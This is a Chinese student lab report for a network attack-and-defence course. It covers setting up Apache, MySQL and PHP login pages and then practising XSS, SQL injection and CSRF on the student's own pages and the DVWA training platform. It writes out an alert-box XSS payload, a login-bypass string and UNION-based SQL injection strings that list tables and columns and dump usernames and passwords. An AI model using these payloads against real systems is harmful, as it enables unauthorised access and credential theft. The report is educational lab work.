#20232408 2025-2026-1 《网络与系统攻防技术》实验八实验报告
1.实验内容
(1)Web前端HTML
能正常安装、启停Apache。理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML。
(2)Web前端javascipt
理解JavaScript的基本功能,理解DOM。
在(1)的基础上,编写JavaScript验证用户名、密码的规则。在用户点击登陆按钮后回显“欢迎+输入的用户名”
尝试注入攻击:利用回显用户名注入HTML及JavaScript。
(3)Web后端:MySQL基础:正常安装、启动MySQL,建库、创建用户、修改密码、建表
(4)Web后端:编写PHP网页,连接数据库,进行用户认证
(5)最简单的SQL注入,XSS攻击测试
(6)安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击。
2.实验目的
通过搭建Web应用环境,实践前后端开发,并深入理解SQL注入、XSS等常见Web安全漏洞的原理与防护方法。
3.实验环境
kali镜像虚拟机,具体配置如下图:

4.实验过程与分析
**4.1 Web前端HTML**
这里我选择了php小皮,很好用的web搭建工具。如图所示:

可以一键启停Apache,mysql等各种功能。我们打开其中的Apache、FTP0.9.60、MYSQL,点击网站->localhost->管理->打开根目录,就可以进入我们的www目录下编写web了。如图所示:


由此我们可以编写自己的html。我这里写了两个,一个是get方法,一个是post方法。如图所示:
get方法:

post方法:

我们可以看到,本质区别在于,get方法提交的参数会在url中显示出来,而post方法的参数不会,是被隐藏的。隐藏在哪里呢?我们通过Burpsuite抓包方式,可以看到是藏在请求的“底层”。

4.2 Web前端javascipt
javascript是一种前端语言,用于对web操作过程做操作。我在之前的文件中新加了如下代码:
<form id="loginForm" action="welcome.html" method="get">
` ` 当我们点击按钮时,会先从form id="loginForm"跳转到document.getElementById('loginForm'),接着触发事件监听addEventListener,行为为submit,就进入到接下来的js结构体中,判断name和passwd必须符合条件,否则preventDefault()阻止行为。
尝试注入攻击:
咱们直接写一个<script>alert(1)</script>,点击提交,就会出现:

这是因为我们welcome.html写的代码为:
`
欢迎 !
` 是可执行的。4.3 MySQL基础
同样,在小皮里面我们直接就能找到插件。

小皮是自带MySQL的,所以只需要一个启动工具即可。如图所示:

建库点击左边列的“新建”,建表操作点击左边库下面的“新建”,创建用户和修改密码在小皮中创建,sql语句可以点击上方SQL操作。
4.4 Web后端:编写PHP网页,连接数据库,进行用户认证
我们需要php后端来做更加严格的认证。如图所示:

其中的auth.php,db.php,welcome.php,都是后端。部分内容如图所示:


前端如图所示:

可以看到,里面跳转的已经是auth.php了。
进行登录验证,这里在第二步骤的基础上,还加了与数据库中存储信息的比对,如果没有检索到,那么就认证失败。有的话,再去检验是否满足输入限制。


4.5 最简单的SQL注入,XSS攻击测试
我们直接尝试万能密码,这是最简单的sql注入。而最简单的xss攻击就是我们在第二步中做的。

1' or '1'='1'-- ,这边注意,这种形式的万能密码要把后面一个1的双引号也闭合,不然是无法正确注释的。
4.6安装DVWA或WebGoat平台,并完成SQL注入、XSS、CSRF攻击
我们先下载DVWA的压缩包,然后解压放到www目录下。接下来只需在数据库那一界面中新建数据库,设置dvwa的相关配置,即可进入dvwa。



要能够正确完成操作,我们先要把在DVWA Security难度调节到low。
进入SQL Injection,准备sql注入。
命令如下:
1' order by x#
1' union select database(),1#
1' UNION SELECT 1,group_concat(table_name) COLLATE utf8_unicode_ci FROM information_schema.tables WHERE table_schema=database()#
1' UNION SELECT group_concat(column_name) COLLATE utf8_unicode_ci,1 FROM information_schema.columns WHERE table_name='users' AND table_schema=database()#
1' union select group_concat(username,':',passwd),2 from dbweb.web1 #

XSS攻击,也是通过在输入中输入可执行代码:

存储型:
一点进去就有弹窗:

CSRF攻击:

别的用户一点这个链接,自己的密码就会被篡改。
5.问题及解决
1.在做后端的时候,发现无论输入什么都只能回显后端代码。
解决方法:不能直接点击文件进入界面,得localhost网站本地登录。
6.心得体会
本次实验围绕 Web 安全领域展开学习,重点探究了前后端场景下的 SQL 注入与 XSS 注入原理,并在 DVWA 平台完成了基础 SQL 注入、XSS 攻击及 CSRF 攻击的实操演练。通过一系列动手实践,我对 Web 攻击的基本逻辑形成了初步认知。
不过实验过程并非一帆风顺,尤其在后端操作环节遇到了棘手问题:无论输入何种内容,页面始终只回显后端代码,完全无法按预期触发交互效果。经过反复排查与尝试,最终发现问题根源在于访问方式 —— 直接点击文件进入界面会导致环境加载异常,必须通过localhost搭建本地网站并完成登录流程,才能让后端功能正常响应。
这一问题的解决让我意识到,Web 安全实验中环境配置与访问路径的细节至关重要。尽管本次实验仅触及网络攻防技术的皮毛,但已切实体会到理论与实操的差异,也明白要深入钻研这一领域,仍需积累更多实践经验。

浙公网安备 33010602011771号